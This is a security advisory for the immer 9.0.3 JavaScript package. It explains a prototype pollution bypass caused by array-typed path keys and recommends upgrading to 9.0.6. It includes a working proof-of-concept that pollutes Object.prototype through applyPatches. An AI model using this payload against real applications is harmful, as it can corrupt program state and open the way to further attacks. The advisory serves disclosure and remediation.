immer@9.0.3 vulnerabilities

immer is a package that allows you to create your next immutable state by mutating the current one.

Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-28477 when the user-provided keys used in the path parameter are arrays. In particular, this bypass is possible because the condition (p === "__proto__" || p === "constructor") in applyPatches_ returns false if p is ['__proto__'] (or ['constructor']). The === operator (strict equality operator) returns false if the operands have different type.

PoC

const {applyPatches, enablePatches} = require("immer");
enablePatches();

// applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// console.log(polluted); // Error: [Immer] Patching reserved attributes like __proto__, prototype and constructor is not allowed

applyPatches({}, [ { op: 'add', path: [['__proto__'], 'polluted'], value: 'yes' } ]);
// applyPatches({}, [ { op: 'replace', path: [['__proto__'], 'polluted'], value: 'yes' } ]);
console.log(polluted);

Upgrade immer to version 9.0.6 or higher.
